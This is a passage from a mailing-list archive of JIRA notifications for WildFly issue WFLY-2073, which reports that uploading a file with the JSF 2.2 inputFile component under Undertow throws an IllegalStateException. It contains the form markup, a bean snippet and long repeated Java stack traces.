> 	at io.undertow.server.handlers.form.FormData$FormValueImpl.getValue(FormData.java:206) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.spec.HttpServletRequestImpl.getParameter(HttpServletRequestImpl.java:576) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at javax.servlet.ServletRequestWrapper.getParameter(ServletRequestWrapper.java:194) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
> 	at com.sun.faces.context.RequestParameterMap.containsKey(RequestParameterMap.java:99) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at java.util.Collections$UnmodifiableMap.containsKey(Collections.java:1337) [rt.jar:1.7.0_40]
> 	at com.sun.faces.renderkit.html_basic.FileRenderer.decode(FileRenderer.java:85) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at javax.faces.component.UIComponentBase.decode(UIComponentBase.java:831) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIInput.decode(UIInput.java:771) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIInput.processDecodes(UIInput.java:676) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIForm.processDecodes(UIForm.java:225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIViewRoot.processDecodes(UIViewRoot.java:929) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at com.sun.faces.lifecycle.ApplyRequestValuesPhase.execute(ApplyRequestValuesPhase.java:78) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:646) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	... 42 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 14 16:11:03 2013
From: jira-events at lists.jboss.org (alexandre xypas (JIRA))
Date: Sat, 14 Sep 2013 16:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2073) Uploading a file using JSF
 2.2 throws an exception
In-Reply-To: <JIRA.12500717.1379188731000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500717.1379188731000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500717.1379188731000.26616.1379189463481@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2073?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

alexandre xypas updated WFLY-2073:
----------------------------------

    Steps to Reproduce: 
Upload any file using the JSF 2.2 new features:

<h:form enctype="multipart/form-data">
      <h:inputFile value="#{bean.file}" required="true">
           <f:ajax listener="#{bean.handleFileUploadAjax}" render="@form" />
      </h:inputFile>
      <h:messages />
 </h:form>

  was:
Upload any file using the JSF 2.2 new features:

<h:form enctype="multipart/form-data">
      <h:inputFile value="#{bean.part}" required="true">
           <f:ajax listener="#{doctorProfileController.handleFileUploadAjax}" render="@form" />
      </h:inputFile>
      <h:messages />
 </h:form>


    
> Uploading a file using JSF 2.2 throws an exception
> --------------------------------------------------
>
>                 Key: WFLY-2073
>                 URL: https://issues.jboss.org/browse/WFLY-2073
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Alpha4
>         Environment: Ubuntu OS 64 bit, Java 7 (java version "1.7.0_40"), JSF version 2.2.1, JSF vender JBoss by Red Hat
>            Reporter: alexandre xypas
>            Assignee: Stuart Douglas
>              Labels: servlet, undertow
>
> Using JSF 2.2, the following should work:
> <h:form enctype="multipart/form-data">
>       <h:inputFile value="#{bean.file}" required="true">
>            <f:ajax listener="#{bean.handleFileUploadAjax}" render="@form" />
>       </h:inputFile>
>       <h:messages />
>  </h:form>
> With the bean:
>         private Part file; // +GET/SET
> 	public void handleFileUploadAjax(AjaxBehaviorEvent event) {
> 	    System.out.println("file size: " + part.getSize());
> 	    System.out.println("file type: " + part.getContentType());
> 	    System.out.println("file info: " + part.getHeader("Content-Disposition"));
> 	}
> The problem remains without using Ajax.
> but throws the following exception when a file is uploaded:
> 22:46:04,333 WARNING [javax.enterprise.resource.webcontainer.jsf.lifecycle] (default task-3) UT000017: Form value is a file, use getFile() instead: java.lang.IllegalStateException: UT000017: Form value is a file, use getFile() instead
> 	at io.undertow.server.handlers.form.FormData$FormValueImpl.getValue(FormData.java:206) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.spec.HttpServletRequestImpl.getParameter(HttpServletRequestImpl.java:576) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at javax.servlet.ServletRequestWrapper.getParameter(ServletRequestWrapper.java:194) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
> 	at com.sun.faces.context.RequestParameterMap.containsKey(RequestParameterMap.java:99) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at java.util.Collections$UnmodifiableMap.containsKey(Collections.java:1337) [rt.jar:1.7.0_40]
> 	at com.sun.faces.renderkit.html_basic.FileRenderer.decode(FileRenderer.java:85) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at javax.faces.component.UIComponentBase.decode(UIComponentBase.java:831) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIInput.decode(UIInput.java:771) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIInput.processDecodes(UIInput.java:676) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIForm.processDecodes(UIForm.java:225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIViewRoot.processDecodes(UIViewRoot.java:929) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at com.sun.faces.lifecycle.ApplyRequestValuesPhase.execute(ApplyRequestValuesPhase.java:78) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:646) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:208) [javamelody-core-1.46.0.jar:1.46.0]
> 	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:181) [javamelody-core-1.46.0.jar:1.46.0]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at com.xypas.filter.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28) [classes:]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.primefaces.webapp.filter.FileUploadFilter.doFilter(FileUploadFilter.java:70) [primefaces-4.0-SNAPSHOT.jar:4.0-SNAPSHOT]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at com.ocpsoft.pretty.PrettyFilter.doFilter(PrettyFilter.java:145) [prettyfaces-jsf2-3.3.3.jar:]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
> 	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:628) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> 22:46:04,344 ERROR [io.undertow.request] (default task-3) Servlet request failed HttpServerExchange{ POST /doctor/doctorUpdates.xhtml}: javax.servlet.ServletException: UT000017: Form value is a file, use getFile() instead
> 	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:659) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:208) [javamelody-core-1.46.0.jar:1.46.0]
> 	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:181) [javamelody-core-1.46.0.jar:1.46.0]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at com.xypas.filter.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28) [classes:]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.primefaces.webapp.filter.FileUploadFilter.doFilter(FileUploadFilter.java:70) [primefaces-4.0-SNAPSHOT.jar:4.0-SNAPSHOT]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at com.ocpsoft.pretty.PrettyFilter.doFilter(PrettyFilter.java:145) [prettyfaces-jsf2-3.3.3.jar:]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
> 	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:628) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: java.lang.IllegalStateException: UT000017: Form value is a file, use getFile() instead
> 	at io.undertow.server.handlers.form.FormData$FormValueImpl.getValue(FormData.java:206) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.spec.HttpServletRequestImpl.getParameter(HttpServletRequestImpl.java:576) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at javax.servlet.ServletRequestWrapper.getParameter(ServletRequestWrapper.java:194) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
> 	at com.sun.faces.context.RequestParameterMap.containsKey(RequestParameterMap.java:99) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at java.util.Collections$UnmodifiableMap.containsKey(Collections.java:1337) [rt.jar:1.7.0_40]
> 	at com.sun.faces.renderkit.html_basic.FileRenderer.decode(FileRenderer.java:85) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at javax.faces.component.UIComponentBase.decode(UIComponentBase.java:831) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIInput.decode(UIInput.java:771) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIInput.processDecodes(UIInput.java:676) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIForm.processDecodes(UIForm.java:225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIViewRoot.processDecodes(UIViewRoot.java:929) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at com.sun.faces.lifecycle.ApplyRequestValuesPhase.execute(ApplyRequestValuesPhase.java:78) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:646) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	... 42 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 14 16:11:03 2013
From: jira-events at lists.jboss.org (alexandre xypas (JIRA))
Date: Sat, 14 Sep 2013 16:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2073) Uploading a file using JSF
 2.2 throws an exception
In-Reply-To: <JIRA.12500717.1379188731000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500717.1379188731000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500717.1379188731000.26619.1379189463654@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2073?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

alexandre xypas updated WFLY-2073:
----------------------------------

    Steps to Reproduce: 
Upload any file using the JSF 2.2 new feature:

<h:form enctype="multipart/form-data">
      <h:inputFile value="#{bean.file}" required="true">
           <f:ajax listener="#{bean.handleFileUploadAjax}" render="@form" />
      </h:inputFile>
      <h:messages />
 </h:form>

  was:
Upload any file using the JSF 2.2 new features:

<h:form enctype="multipart/form-data">
      <h:inputFile value="#{bean.file}" required="true">
           <f:ajax listener="#{bean.handleFileUploadAjax}" render="@form" />
      </h:inputFile>
      <h:messages />
 </h:form>


    
> Uploading a file using JSF 2.2 throws an exception
> --------------------------------------------------
>
>                 Key: WFLY-2073
>                 URL: https://issues.jboss.org/browse/WFLY-2073
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Alpha4
>         Environment: Ubuntu OS 64 bit, Java 7 (java version "1.7.0_40"), JSF version 2.2.1, JSF vender JBoss by Red Hat
>            Reporter: alexandre xypas
>            Assignee: Stuart Douglas
>              Labels: servlet, undertow
>
> Using JSF 2.2, the following should work:
> <h:form enctype="multipart/form-data">
>       <h:inputFile value="#{bean.file}" required="true">
>            <f:ajax listener="#{bean.handleFileUploadAjax}" render="@form" />
>       </h:inputFile>
>       <h:messages />
>  </h:form>
> With the bean:
>         private Part file; // +GET/SET
> 	public void handleFileUploadAjax(AjaxBehaviorEvent event) {
> 	    System.out.println("file size: " + part.getSize());
> 	    System.out.println("file type: " + part.getContentType());
> 	    System.out.println("file info: " + part.getHeader("Content-Disposition"));
> 	}
> The problem remains without using Ajax.
> but throws the following exception when a file is uploaded:
> 22:46:04,333 WARNING [javax.enterprise.resource.webcontainer.jsf.lifecycle] (default task-3) UT000017: Form value is a file, use getFile() instead: java.lang.IllegalStateException: UT000017: Form value is a file, use getFile() instead
> 	at io.undertow.server.handlers.form.FormData$FormValueImpl.getValue(FormData.java:206) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.spec.HttpServletRequestImpl.getParameter(HttpServletRequestImpl.java:576) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at javax.servlet.ServletRequestWrapper.getParameter(ServletRequestWrapper.java:194) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
> 	at com.sun.faces.context.RequestParameterMap.containsKey(RequestParameterMap.java:99) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at java.util.Collections$UnmodifiableMap.containsKey(Collections.java:1337) [rt.jar:1.7.0_40]
> 	at com.sun.faces.renderkit.html_basic.FileRenderer.decode(FileRenderer.java:85) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at javax.faces.component.UIComponentBase.decode(UIComponentBase.java:831) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIInput.decode(UIInput.java:771) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIInput.processDecodes(UIInput.java:676) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIForm.processDecodes(UIForm.java:225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIViewRoot.processDecodes(UIViewRoot.java:929) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at com.sun.faces.lifecycle.ApplyRequestValuesPhase.execute(ApplyRequestValuesPhase.java:78) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:646) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
